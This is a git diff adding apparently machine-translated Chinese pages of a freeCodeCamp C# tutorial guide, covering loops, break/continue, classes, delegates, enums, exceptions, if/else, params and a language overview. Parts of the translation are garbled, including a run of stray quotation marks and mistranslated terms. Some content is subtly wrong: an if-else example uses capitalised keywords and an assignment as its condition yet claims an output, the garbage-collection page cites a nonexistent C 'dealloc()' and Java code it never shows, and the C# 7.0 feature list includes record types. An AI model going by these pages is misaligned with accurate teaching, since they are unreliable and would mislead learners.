+localeTitle: 休息声明
+---
+# 休息声明
+
+`break`语句终止它出现的封闭循环或switch语句。控件将传递给循环或开关块之后的语句。
+
+在第一个例子中，当i的值为3时，执行break语句，这导致循环的执行被终止。
+
+## 例
+```
+int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+  if(i == 3) 
+  { 
+    break; 
+  } 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+```
+
+## 输出：
+```
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+```
+
+在第二个示例中，每个案例的末尾都包含一个break语句。这将执行案例中的语句，而不会继续下一个案例。如果没有break语句，程序将继续执行下一个案例，并且不会按预期运行。
+
+## 例
+```
+switch (exampleVariable) 
+ { 
+    case 1: 
+        Console.WriteLine("case 1"); 
+        Console.WriteLine("This only shows in example 1"); 
+        break; 
+    case 2: 
+        Console.WriteLine("case 2"); 
+        Console.WriteLine("This only shows in example 2"); 
+    Console.WriteLine("This also only shows in example 2"); 
+        break; 
+    Console.WriteLine("This would not show anywhere, as it is after the break line and before the next case"); 
+    default: 
+        Console.WriteLine("default"); 
+        Console.WriteLine("This only shows in the Default Example"); 
+        break; 
+ } 
+```
+
+## 输出：
+```
+> case 1 
+ > This only shows in example 1 
+ > 
+ > case  2 
+ > This only shows in example 2 
+ > This also only shows in example 2 
+ > 
+ > default 
+ > This only shows in the Default Example 
+ > 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/class/index.md b/client/src/guide/chinese/csharp/class/index.md
new file mode 100644
index 0000000000..ea0a601bd6
--- /dev/null
+++ b/client/src/guide/chinese/csharp/class/index.md
@@ -0,0 +1,75 @@
+---
+title: Class
+localeTitle: 类
+---
+## 类
+
+C＃中的类被定义为引用类型。为了使用引用类型实例化变量，必须指定`new`关键字，否则该变量将具有默认值`null` 。请参阅下面的示例。
+
+```csharp
+// The value of variableOne is null at this point. 
+ NewClass variableOne; 
+ 
+ // Now the value of variableOne will be an instance of the class NewClass 
+ variableOne = new NewClass(); 
+```
+
+在运行时，在创建类时，将足够的内存分配给堆，以用于该变量保存的类的特定实例。
+
+#### 创建类
+
+要在C＃中创建一个类，我们需要使用`class`关键字后跟唯一标识符。
+
+与其他语言一样，C＃创建一个不接受任何参数的默认构造函数。如果我们需要接受特殊参数或在构造函数中使用自定义initlization步骤，我们也可以指定我们自己的构造函数。
+
+```csharp
+public class NewClass 
+ { 
+    NewClass(string name) 
+    { 
+        // Initialization steps... 
+    } 
+ } 
+```
+
+类是创建对象的原型或蓝图。在C＃中，使用关键字class定义类。类用于将一些方法，属性，字段，事件和委托组合到一个单元中。类也可以包含嵌套类。
+
+#### 示例：考虑以下Employee Class的情况：
+
+```csharp
+using System; 
+ 
+ namespace CPrograms 
+ { 
+    class Employee 
+    { 
+        private string name; 
+        private int employeeId; 
+ 
+        public Employee(string name, int employeeId) 
+        { 
+            this.name = name; 
+            this.employeeId = employeeId; 
+        } 
+        public void PrintEmployee() 
+        { 
+            Console.WriteLine("Employee Name: {0} , Employee ID: {1}", this.name, this.employeeId); 
+        } 
+    } 
+ 
+    class Program 
+    { 
+        static void Main(string[] args) 
+        { 
+            Employee employeeObject = new Employee("John Doe", 420156); 
+            employeeObject.PrintEmployee(); 
+        } 
+    } 
+ } 
+```
+
+类只能从一个基类继承。但是，它可以从多个接口实现。
+
+## 更多信息
+
+了解更多关于类[在这里](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/class)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/continue/index.md b/client/src/guide/chinese/csharp/continue/index.md
new file mode 100644
index 0000000000..a86f5c55d0
--- /dev/null
+++ b/client/src/guide/chinese/csharp/continue/index.md
@@ -0,0 +1,31 @@
+---
+title: Continue statement
+localeTitle: 继续声明
+---
+# 继续声明
+
+`continue`语句将控制传递给循环内的下一个迭代。
+
+在此示例中，当i的值为2时，将跳过循环中的下一个语句。
+
+## 例
+```
+int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+  if( i == 2) 
+  { 
+    continue; 
+  } 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+```
+
+## 输出：
+```
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 3 is 4 
+ > Item on index 4 is 5 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/delegates/index.md b/client/src/guide/chinese/csharp/delegates/index.md
new file mode 100644
index 0000000000..0da4a6b90a
--- /dev/null
+++ b/client/src/guide/chinese/csharp/delegates/index.md
@@ -0,0 +1,55 @@
+---
+title: Delegates
+localeTitle: 代表
+---
+## 代表
+
+AC＃delegate表示对具有给定集的方法的引用 参数和给定的返回类型。实例化委托时，可以将其关联 任何与委托类型兼容的方法：具有相同数量的参数，每个参数都是 相同的类型和返回值的类型也是相同的。
+
+将它指定给委托时，可以使用实例方法或静态方法。
+
+Delegate允许您将方法作为参数传递给其他方法。
+
+委托通常用于实现回调函数。最典型的例子是事件处理程序：您注册 每当某个事件发生时要调用的方法（例如，单击鼠标按钮）。
+
+### 开发人员的简短说明
+
+委托就像C或C ++等C类语言中的函数指针。但是，它们是类型安全的。 与简单的函数指针不同 包含有关在调用委托时将调用其方法的对象实例的信息，并且具有 严格类型检查函数的参数和返回值。
+
+## 例
+
+您声明一个类似于声明函数的`delegate` ，但添加`delegate`关键字。例如：
+
+```csharp
+    public delegate string StringOperation ( string s1, string s2 ); 
+```
+
+任何采用两个`string`参数并返回`string`都可以分配给此委托类型的变量。
+
+创建委托类型后，您可以像使用任何其他类型一样使用它。你可以声明一个局部变量， 其他类成员或将它们作为参数传递给其他方法。
+
+```csharp
+    StringOperation a; 
+```
+
+在调用委托之前，您需要为其分配一个值。我们假设我们有一个连接方法 具有以下实现：
+
+```csharp
+    private string Concatenate ( string one, string two ) { 
+        return one + " " + two; 
+    } 
+```
+
+然后，您可以将其分配给委托变量并像函数一样调用它。
+
+```csharp
+    StringOperation op = Concatenate; 
+ 
+    string result = op("Hello", "World"); 
+ 
+    Console.WriteLine ( result ); // print "Hello World" to the console 
+```
+
+## 更多信息
+
+阅读更多关于代表的[信息](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/do-while-loop/index.md b/client/src/guide/chinese/csharp/do-while-loop/index.md
new file mode 100644
index 0000000000..d649ece848
--- /dev/null
+++ b/client/src/guide/chinese/csharp/do-while-loop/index.md
@@ -0,0 +1,40 @@
+---
+title: Do while loop
+localeTitle: 做循环
+---
+# 做循环
+
+`do while`循环执行一次代码块，直到条件为假。它们是[`while`循环的](https://guide.freecodecamp.org/csharp/while-loop)一个特例：它们执行一次代码块，然后直到条件为假。 `do while`循环的常见用法是输入检查。
+
+## 例
+```
+do 
+ { 
+    //execute code block 
+ 
+ 
+ } while(boolean expression); 
+ 
+ 
+ string input = ""; 
+ do 
+ { 
+    Console.WriteLine("Type A to continue: "); 
+    input = Console.ReadLine(); 
+ } while(input != "A"); 
+ 
+ Console.WriteLine("Bye!"); 
+```
+
+## 输出：
+```
+> Type A to continue: b 
+ > Type A to continue: g 
+ > Type A to continue: A 
+ > Bye! 
+```
+
+#### 更多信息：
+
+*   [微软C＃ - 做](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/do)
+*   [Dot Net Perls - 做](https://www.dotnetperls.com/do)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/enumerations/index.md b/client/src/guide/chinese/csharp/enumerations/index.md
new file mode 100644
index 0000000000..08eb82e250
--- /dev/null
+++ b/client/src/guide/chinese/csharp/enumerations/index.md
@@ -0,0 +1,48 @@
+---
+title: Enumerations
+localeTitle: 枚举
+---
+# 枚举
+
+枚举是一组使用`enum`关键字声明的命名整数常量。
+
+## 例
+```
+enum Gender 
+ { 
+  Male, 
+  Female 
+ } 
+```
+
+默认情况下，对于每个枚举名称，整数值从0开始并增加1，即Male = 0，Female = 1等。
+
+可以通过为任何枚举名称指定整数值来覆盖这些。
+
+## 例
+```
+enum Gender 
+ { 
+  Male = 1, 
+  Female 
+ } 
+```
+
+在这种情况下，整数值将从1开始并从那里开始增加。
+
+要使用枚举，您可以声明其类型的变量并为其赋值：
+
+`Gender myVar = Gender.Male;`
+
+您还可以将枚举名称值强制转换为基础整数值，反之亦然：
+```
+Console.WriteLine($"Male: {(int)Gender.Male}"); 
+ Console.WriteLine($"Female: {(int)Gender.Female}"); 
+```
+
+## 输出：
+```
+Male: 1 
+ Female: 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/exceptions/index.md b/client/src/guide/chinese/csharp/exceptions/index.md
new file mode 100644
index 0000000000..53c97050be
--- /dev/null
+++ b/client/src/guide/chinese/csharp/exceptions/index.md
@@ -0,0 +1,66 @@
+---
+title: Exceptions
+localeTitle: 例外
+---
+# 例外
+
+例外是程序运行时发生的意外错误，例如尝试访问不存在的文件。如果不处理，它将停止程序。
+
+## 例
+
+如果我们尝试读取不存在的文件的文本：
+```
+using System.IO; 
+ 
+ string content = File.ReadAllText(@"C:\DoesNotExist.txt"); 
+```
+
+将引发`FileNotFoundException` 。
+
+其他一些常见例外：
+
+*   `IndexOutofRangeException` ：尝试访问具有无效索引的数组。
+*   `NullReferenceException` ：尝试使用未分配的引用变量。
+*   `DivideByZeroException` ：尝试除以0。
+
+## 最佳实践
+
+### 使用try / catch / finally块
+```
+try 
+ { 
+   var client = new WebClient(); 
+   var resultData = client.DownloadString("http://github.com"); 
+ } 
+ catch (Exception ex) 
+ { 
+   //code for handling exceptions 
+ } 
+ finally 
+ { 
+   //this code is always executed, does not matter if an exception is thrown or not 
+ } 
+```
+
+### 处理条件可能存在的例外情况
+
+代替
+```
+try 
+ { 
+   conn.Close(); 
+ } 
+ catch (Exception ex) 
+ { 
+   //code for handling exceptions. 
+ } 
+```
+
+试试这个
+```
+if (conn.State != ConnectionState.Closed) 
+ { 
+    conn.Close(); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/expression-bodied-members/index.md b/client/src/guide/chinese/csharp/expression-bodied-members/index.md
new file mode 100644
index 0000000000..d695eae248
--- /dev/null
+++ b/client/src/guide/chinese/csharp/expression-bodied-members/index.md
@@ -0,0 +1,41 @@
+---
+title: Expression Bodied Methods and Properties
+localeTitle: 表达方法和性质
+---
+# 表达方法和性质
+
+您可以将方法和属性声明为lambda表达式，而无需语句块。用于简单实现，这种语法比声明常规方法或属性更简洁，因为它消除了对一些花括号的需要和使用显式返回语句。
+
+以下是常规方法声明的示例：
+
+```csharp
+public Point CreatePoint(int x, int y) 
+ { 
+    return new Point(x, y); 
+ } 
+```
+
+以下给出了相同的结果，但是作为表达式身体方法编写：
+
+```csharp
+public Point CreatePoint(int x, int y) => new Point(x, y); 
+```
+
+您还可以使用此语法声明属性。以下代码是我们如何声明没有lambda表达式的get-only属性：
+
+```csharp
+public Point Location 
+ { 
+    get 
+    { 
+        return _location; 
+    } 
+ } 
+```
+
+通过表达式方法，我们可以将此代码缩小到只有一行：
+
+```csharp
+public Point Location => _location 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/extension-methods/index.md b/client/src/guide/chinese/csharp/extension-methods/index.md
new file mode 100644
index 0000000000..8440c2bb9f
--- /dev/null
+++ b/client/src/guide/chinese/csharp/extension-methods/index.md
@@ -0,0 +1,45 @@
+---
+title: Extension Mehods
+localeTitle: 扩展Mehods
+---
+## 扩展方法
+
+扩展方法使您可以向现有类型“添加”方法，而无需创建新的派生类型，重新编译或以其他方式修改原始类型。对于用C＃编写的客户端代码，调用扩展方法和实际在类型中定义的方法之间没有明显区别。
+
+最常见的扩展方法是LINQ标准查询运算符，它将查询功能添加到现有的System.Collections.IEnumerable和System.Collections.Generic.IEnumerable 类型。
+
+### 用法
+
+扩展方法被定义为静态方法，但是通过使用实例方法语法来调用。它们的第一个参数指定方法操作的类型，参数前面有this修饰符。当您**使用using**指令将命名空间显式导入源代码时，扩展方法仅在范围内。
+
+### 例
+
+以下示例显示为**System.String**类定义的扩展方法。
+```
+namespace ExtensionMethods 
+ { 
+    public static class MyExtensions 
+    { 
+        public static int WordCount(this String str) 
+        { 
+            return str.Split(new char[] { ' ', '.', '?' }, 
+                             StringSplitOptions.RemoveEmptyEntries).Length; 
+        } 
+    } 
+ } 
+```
+
+现在，您可以**使用**指令将**WordCount**方法引入作用域：
+```
+using ExtensionMethods; 
+```
+
+您可以使用以下语法从应用程序中调用它：
+```
+string s = "Hello Extension Methods"; 
+ int i = s.WordCount(); 
+```
+
+#### 更多信息：
+
+[如何：实现和调用自定义扩展方法（C＃编程指南）](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/classes-and-structs/how-to-implement-and-call-a-custom-extension-method)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/for-loop/index.md b/client/src/guide/chinese/csharp/for-loop/index.md
new file mode 100644
index 0000000000..78d4ee572a
--- /dev/null
+++ b/client/src/guide/chinese/csharp/for-loop/index.md
@@ -0,0 +1,134 @@
+---
+title: For Loop
+localeTitle: 对于循环
+---
# 对于循环
+
+for循环重复执行代码块，直到指定的条件表达式求值为false。
+
+for循环剖析：
+```
+for (initialization; condition; iterator) 
+ { 
+    body 
+ } 
+```
+
+*   初始化 - 初始化语句设置初始条件，并在进入循环体之前仅运行一次。
+*   condition - 布尔表达式，用于确定循环体是应该再次执行还是循环应该退出。
+*   iterator - 在循环体的每次迭代后执行。
+
+### 例1
+```
+for (int i = 0; i < 5; i++) 
+ { 
+    Console.WriteLine("Number " + i); 
+ } 
+```
+
+### 输出：
+```
+> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+```
+
+### 例2
+```
+int j = 0; 
+ for (int i = 0; j < 5; i++) 
+ { 
+    Console.WriteLine("Numbers {0} {1}", i, j); 
+    j++; 
+ } 
+```
+
+### 输出：
+```
+> Numbers 0 0 
+ > Numbers 1 1 
+ > Numbers 2 2 
+ > Numbers 3 3 
+ > Numbers 4 4 
+```
+
+### 实施例3-实施例2的简化
+```
+for (int i = 0, j = 0; i < 5 && j < 5; i++, j++) 
+ { 
+    Console.WriteLine("Numbers {0} {1}", i, j); 
+ } 
+```
+
+### 输出：
+```
+> Numbers 0 0 
+ > Numbers 1 1 
+ > Numbers 2 2 
+ > Numbers 3 3 
+ > Numbers 4 4 
+```
+
+### 例4
+```
+for (int i = 5; i > 0; i--) 
+ { 
+    Console.WriteLine("Number " + i); 
+ } 
+```
+
+### 输出：
+```
+> Number 5 
+ > Number 4 
+ > Number 3 
+ > Number 2 
+ > Number 1 
+```
+
+### 例5
+```
+// Infinite loop - The loop body is executed infinitely 
+ for (; ;) 
+ { 
+    Console.WriteLine("The universe is infinite"); 
+ } 
+ 
+ // Anything after infinite loop is reported as "Unreachable code detected" in Visual Studio 
+ Console.WriteLine("Never considered for execution"); 
+```
+
+### 输出：
+```
+> The universe is infinite 
+ > The universe is infinite 
+ > The universe is infinite 
+ > .... 
+ > .... 
+```
+
+### 例6
+```
+int i = 0; 
+ for (; i < 5;) 
+ { 
+    Console.WriteLine("Number " + i); 
+    i++; 
+ } 
+```
+
+### 输出：
+```
+> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+```
+
+### 其他资源
+
+*   [Microsoft文档](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/for)
+
+## 结束
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/for/index.md b/client/src/guide/chinese/csharp/for/index.md
new file mode 100644
index 0000000000..31054f608d
--- /dev/null
+++ b/client/src/guide/chinese/csharp/for/index.md
@@ -0,0 +1,47 @@
+---
+title: For Loop
+localeTitle: 对于循环
+---
+# 对于循环
+
+`for`循环执行代码块，直到指定的条件为false。虽然`for`循环看起来像[`while`循环](https://guide.freecodecamp.org/csharp/while-loop) ，但开发人员应该**正确**使用它们。当迭代次数可变时使用`while`循环，否则使用`for`循环。 `for`循环的常见用途是数组迭代。 1
+
+## 句法
+
+```C#
+for ((Initial variable); (condition); (step)) 
+    { 
+    (code) 
+    } 
+```
+
+C＃for循环由三个表达式和一些代码组成。
+
+## 描述
+
+*   _初始变量_ ：您的起始状态，例如int i = 0;
+*   _条件_ ：当此条件为真时，代码将继续运行，例如i <= 5;
+*   _步骤_ ：初始变量的增量或减量，例如i ++或i- = 2。
+
+## 例
+
+```C#
+int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+```
+
+## 输出：
+```
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+ > Item on index 3 is 4 
+ > Item on index 4 is 5 
+```
+
+### 来源
+
+1 https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/for
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/foreach/index.md b/client/src/guide/chinese/csharp/foreach/index.md
new file mode 100644
index 0000000000..ab044baf26
--- /dev/null
+++ b/client/src/guide/chinese/csharp/foreach/index.md
@@ -0,0 +1,32 @@
+---
+title: Foreach Loop
+localeTitle: Foreach循环
+---
+## Foreach循环
+
+`foreach`循环为集合中的每个项执行一段代码。 `foreach`循环的好处是你不需要知道集合中有多少项来迭代它;你只需告诉你的`foreach`循环遍历集合，只要其中有项目。它对于遍历列表，数组，数据表，IEnumerables和其他类似列表的数据结构非常有用。它可能比设计精良`for`环路效率低，但在大多数情况下差异可以忽略不计。
+
+### 例
+
+```csharp
+foreach (element in iterable-item) 
+ { 
+    // body of foreach loop 
+ } 
+ 
+ List<string> Names = new List<string>{ "Jim", "Jane", "Jack" } 
+ 
+ foreach(string name in Names) 
+ { 
+    Console.WriteLine("We have " + name); 
+ } 
+```
+
+### 输出：
+
+```sh
+> We have Jim 
+ > We have Jane 
+ > We have Jack 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/garbage-collection/index.md b/client/src/guide/chinese/csharp/garbage-collection/index.md
new file mode 100644
index 0000000000..df2b67f7de
--- /dev/null
+++ b/client/src/guide/chinese/csharp/garbage-collection/index.md
@@ -0,0 +1,35 @@
+---
+title: Garbage Collection
+localeTitle: 垃圾收集
+---
+## 垃圾收集
+
+#### 什么是垃圾收集？
+
+垃圾收集是程序试图释放对象等不再使用的内存空间的过程。垃圾收集对每种语言的实现都不同。大多数高级编程语言都内置了某种垃圾收集。低级编程语言可以通过库添加垃圾收集。
+
+如上所述，每种编程语言都有自己的GC方式。在C编程中，开发人员需要使用`malloc()`和`dealloc()`函数来处理内存分配和释放。对于C＃应用程序，开发人员不再需要处理GC，也不建议使用它，因为.NET框架已经处理了这个问题。
+
+####内存分配如何发生？ 在C＃中，对象的内存分配发生在托管堆中，这由CLR（公共语言运行时）处理。堆中的内存分配是通过操作系统（OS）中的win32.dll完成的，就像在C中一样。但是在C中，对象被放置在内存中，而自由空间适合对象的大小。内存映射基于Linkedlist概念。在C＃中，堆的内存分配以线性方式发生，即一个接一个地发生。
+
+无论何时创建新对象，都会在堆中分配内存，并且指针将移动到下一个内存地址。 C＃中的内存分配比C更快。在C中，内存需要为对象进行搜索和分配，这会增加一些开销时间。
+
+\#### C＃GC中的生成 在.net编程中，堆有三代，分别叫做Generation 0,1,2。
+
+无论何时创建新对象，第0代都会被填充。当第0代被填满时，垃圾收集器运行。新创建的对象放在第0代中。执行垃圾收集时，所有不需要的对象都被销毁，内存被释放并压缩。一旦GC发生，GC就会指向释放内存的指针。
+
+世代1和2具有寿命更长的对象。第1代和第2代的GC将不会发生，直到第0代有足够的内存来分配。
+
+不建议以编程方式调用GC。让它自己发生是件好事。只要第0代被填充就执行GC。 GC不会影响应用程序的性能。
+
+垃圾收集是程序试图释放变量，对象等不再使用的内存空间的过程。垃圾收集对每种语言的实现都不同。大多数高级编程语言都内置了某种垃圾收集。低级编程语言可能会通过库添加垃圾收集。
+
+垃圾收集是一种为程序员节省时间的工具，例如它取代了对C语言中的malloc（）和free（）等函数的需求。它还可以帮助防止内存泄漏。
+
+垃圾收集的缺点是它对性能有负面影响。程序必须定期运行程序，检查对象引用和清理内存 - 这会占用资源并且通常需要程序暂停。
+
+如果对象没有引用（不再可访问），则它有资格进行垃圾回收。例如，在下面的Java代码中，最初由'thing1'引用的Thing对象将其唯一的引用重定向到堆上的另一个对象 - 然后它将无法访问，并且其内存将由垃圾收集器取消分配。
+
+#### 更多信息：
+
+\- \+ - https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals - 了解有关垃圾收集的更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/hello-world/index.md b/client/src/guide/chinese/csharp/hello-world/index.md
new file mode 100644
index 0000000000..dbacac8739
--- /dev/null
+++ b/client/src/guide/chinese/csharp/hello-world/index.md
@@ -0,0 +1,36 @@
+---
+title: Hello World
+localeTitle: 你好，世界
+---
# 你好，世界
+
+要在控制台上编写一些文本，我们使用`Console.WriteLine()` 。此方法将字符串作为输入。
+
+## 例
+
+```csharp
+using System; 
+ 
+ namespace HelloWorld 
+ { 
+    class Hello 
+    { 
+        static void Main() 
+        { 
+            // Write "Hello World!" on console 
+            Console.WriteLine("Hello World!"); 
+ 
+            // Keep the console window open in debug mode. 
+            Console.WriteLine("Press any key to exit."); 
+            Console.ReadKey(); 
+        } 
+    } 
+ } 
+```
+
+## 输出：
+
+```sh
+> Hello World! 
+ > Press any key to exit. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/if-else-statement/index.md b/client/src/guide/chinese/csharp/if-else-statement/index.md
new file mode 100644
index 0000000000..ce1d94abbe
--- /dev/null
+++ b/client/src/guide/chinese/csharp/if-else-statement/index.md
@@ -0,0 +1,40 @@
+---
+title: If Else Statement
+localeTitle: 如果是其他声明
+---
+# 如果是其他声明
+
+If-Else语句根据您的前提条件是否已满，执行代码块。
+
+## 例
+```
+if(boolean expression) 
+ { 
+ // execute this code block if expression evalutes to true 
+ } 
+ else 
+ { 
+ // always execute this code block when above if expression is false 
+ } 
+ 
+ 
+ int Price = 30; 
+ 
+ If (Price = 30) 
+ { 
+  Console.WriteLine("Price is equal to 30."); 
+ } 
+ 
+ Else 
+ { 
+  Console.WriteLine("Price is not equal to 30."); 
+ } 
+```
+
+由于我们已经宣布我们的int Price为30，这将是预期的产出。
+
+## 产量
+```
+Price is equal to 30. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/if/index.md b/client/src/guide/chinese/csharp/if/index.md
new file mode 100644
index 0000000000..ad4f5ff4e5
--- /dev/null
+++ b/client/src/guide/chinese/csharp/if/index.md
@@ -0,0 +1,98 @@
+---
+title: If
+localeTitle: 如果
+---
+# 如果
+
+if语句根据条件执行不同的代码块。
+```
+if (condition) 
+ { 
+    // Do something when `condition` is true 
+ } 
+ else 
+ { 
+    // Do something when `condition` is false 
+ } 
+```
+
+当`condition`为真，代码里面`if`部分执行，否则`else`执行。有时您需要添加第二个条件。为了便于阅读，您应该使用`else if`而不是嵌套`if`语句。 而不是写：
+```
+if (condition) 
+ { 
+    // Do something if `condition` is true 
+ } 
+ else 
+ { 
+    if (anotherCondition) 
+    { 
+        // Do something if `anotherCondition` is true 
+    } 
+    else 
+    { 
+        // Do something if `condition` AND `anotherCondition` is false 
+    } 
+ } 
+```
+
+你可以使用更简洁的写作：
+```
+if (condition) 
+ { 
+    // Do something if `condition` is true 
+ } 
+ else if (anotherCondition) 
+ { 
+    // Do something if `anotherCondition` is ture 
+ } 
+ else 
+ { 
+    // Do something if `condition` AND `anotherCondition` is false 
+ } 
+```
+
+还可以检查条件是否为假并在不必具有else语句的情况下对其进行操作。
+```
+if(!condition) 
+ { 
+ //do something if the condition is false 
+ } 
+```
+
+```
+int number = 3; 
+ //!= implies that you wish to check if the object's value is not equal to the value next to it 
+ if(number !=2) 
+ { 
+     Console.WriteLine("Number is not 2"); 
+ } 
+```
+
+请注意， `else`和`else if`部分不是必需的，而`if`是必需的。
+
+## 例
+```
+    Console.WriteLine("Who are you? "); 
+    string name = Console.ReadLine(); 
+ 
+    if (name == "John") 
+    { 
+        Console.WriteLine("Hi John!"); 
+    } 
+    else if (name == "Fabio") 
+    { 
+        Console.WriteLine("Oh, it's you Fabio :)"); 
+    } 
+    else 
+    { 
+        Console.WriteLine("Oh! I thought you were John or Fabio. Anyway, nice to meet you {0}!", name); 
+    } 
+ 
+    /* Run and type some names: 
+        -> If name is "John", then output is "Hi John!" 
+        -> If name is "Fabio", then output is "Oh, it's you Fabio :)" 
+        -> If name is neither "John" nor "Fabio", output is "Oh! I thought you were John or Fabio. Anyway, nice to meet you {0}!" where {0} contains the name. 
+    */ 
+```
+
+if语句需要一个布尔结果，即true或false。在某些编程语言中，几种数据类型可以自动转换为布尔值，但在C＃中，您必须专门将结果设置为布尔值。例如，你不能使用if（number），但你可以将数字与某些东西进行比较，以生成true或false。
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/indeterminate-parameters/index.md b/client/src/guide/chinese/csharp/indeterminate-parameters/index.md
new file mode 100644
index 0000000000..7dbfa74df8
--- /dev/null
+++ b/client/src/guide/chinese/csharp/indeterminate-parameters/index.md
@@ -0,0 +1,36 @@
+---
+title: Indeterminate parameters
+localeTitle: 不确定参数
+---
+# 不确定参数
+
+让我们想象一下，我们需要编写一个参数数量可变的方法。我们怎么能这样做？好吧，C＃（和其他语言）有一个简单的方法;通过在方法的参数上使用`params`关键字，我们可以使用可变数量的参数调用该方法。
+
+## 例
+```
+public static void Main (string[] args) { 
+    // Call PrintParams with 3 parameters 
+    PrintParams(1, 2, 3); 
+ 
+    // Call PrintParams with 1 parameter 
+    PrintParams(4); 
+ } 
+ 
+ public static void PrintParams(params int[] values) 
+ { 
+    // Iterate through parameters 
+    for (int i = 0; i < values.Length; i++) 
+    { 
+        Console.WriteLine("Parameter {0} is {1}", i, values[i]); 
+    } 
+ } 
+```
+
+## 输出：
+```
+> Parameter 0 is 1 
+ > Parameter 1 is 2 
+ > Parameter 2 is 3 
+ > Parameter 0 is 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/index.md b/client/src/guide/chinese/csharp/index.md
new file mode 100644
index 0000000000..9df2d4db3b
--- /dev/null
+++ b/client/src/guide/chinese/csharp/index.md
@@ -0,0 +1,67 @@
+---
+title: C#
+localeTitle: C＃
+---
+## C＃
+
+C Sharp，通常称为“C＃”，是一种通用的，面向对象的编程语言。 C＃由Anders Hejlsberg及其微软开发团队开发，目前版本为7.0。
+
+C＃源于C语言家族。它从C，C ++和Java继承了它的大部分功能。因此，熟悉这些语言的程序员可以在更短的时间内快速掌握C＃。
+
+C＃是一种面向对象的语言，为面向组件和函数式编程提供支持。
+
+#### 类和对象
+
+课程允许我们用软件模拟我们周围世界的日常物品。您可以创建自定义类来表示任何内容。就像名词是语言中的人，地点或事物一样，类也代表对象。
+
+当你编写C＃代码时，通常是因为你需要一个有用的程序。在业务需求的情况下，您遵循业务需求的要求。假设您的业务要求您提供电子书籍数据库。他们需要能够存储书名，作者，计算统计数据，例如给定月份的结账数量或月平均值。这些要求描述了需要开发的程序。你如何为既定要求编写程序？通常，我们使用类来为我们需要使用的不同名词创建抽象。名词，如书籍，作者或头衔。
+
+C＃中的一个重要概念是类定义用于创建对象的实例。您可以将其视为创建对象实例的蓝图。类定义允许创建存储对该对象的引用的对象。例如，假设我们要创建一个新的图书对象。代码行如下所示：
+
+`Book book = new Book();`
+
+这将创建一个新的book对象，我们可以使用它来操作数据并将其存储在数据库中。变量book实际上是Book的引用类型（带有大写字母B）。我们可以使用类定义中可用的方法和该变量book，例如AddTitle（）或AddAuthor（）等。
+
+#### C＃的功能包括：
+
+1.  自动垃圾收集
+2.  异常处理
+3.  类型安全
+4.  版本
+5.  代表
+6.  属性
+7.  LINQ（语言集成查询）和Lambda表达式
+8.  泛型
+9.  索引
+10.  多线程
+
+#### C＃7.0中添加的新功能：
+
+1.  Deconstructors
+2.  使用元组的新语法
+3.  与表达式匹配的模式
+4.  本地功能
+5.  按参考文献返回
+6.  输出变量
+7.  字面改进
+8.  广义异步返回类型
+9.  更多表达身体的成员
+10.  投掷表达
+11.  记录类型
+12.  最小化OUT
+13.  非'''''''''''''''''''
+
+您可以使用C＃来创建Windows客户端应用程序，XML Web服务，分布式组件，客户端 - 服务器应用程序，数据库应用程序等等。
+
+#### ASP.NET和.NET应用程序
+
+C＃语言还与Microsoft公司开发的ASP.NET框架一起使用，专门用于创建独立于机器和浏览器的Web应用程序。由Microsoft开发的更广泛的.NET框架用于创建其他类型的应用程序，如桌面，移动，服务器和网络应用程序。 .NET框架包括.NET基类库（BCL），ASP.NET，ADO.NET，Windows窗体，Windows Presentation Foundation（WPF）和可扩展标记语言（XML）库。
+
+有关ASP.NET的更多信息，请参阅[freeCodeCamp指南中](https://guide.freecodecamp.org/)的主题ASPNET
+
+#### 更多信息：
+
+*   [C＃简介](https://docs.microsoft.com/en-us/dotnet/csharp/getting-started/introduction-to-the-csharp-language-and-the-net-framework)
+*   [C＃教程](https://www.microsoft.com/net/tutorials/csharp/getting-started)
+*   [官方C＃文档](https://docs.microsoft.com/en-us/dotnet/csharp/)
+*   [C＃7.0中的新功能](https://msdn.microsoft.com/en-us/magazine/mt790184.aspx)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/inheritance/index.md b/client/src/guide/chinese/csharp/inheritance/index.md
new file mode 100644
index 0000000000..a07f17a75d
--- /dev/null
+++ b/client/src/guide/chinese/csharp/inheritance/index.md
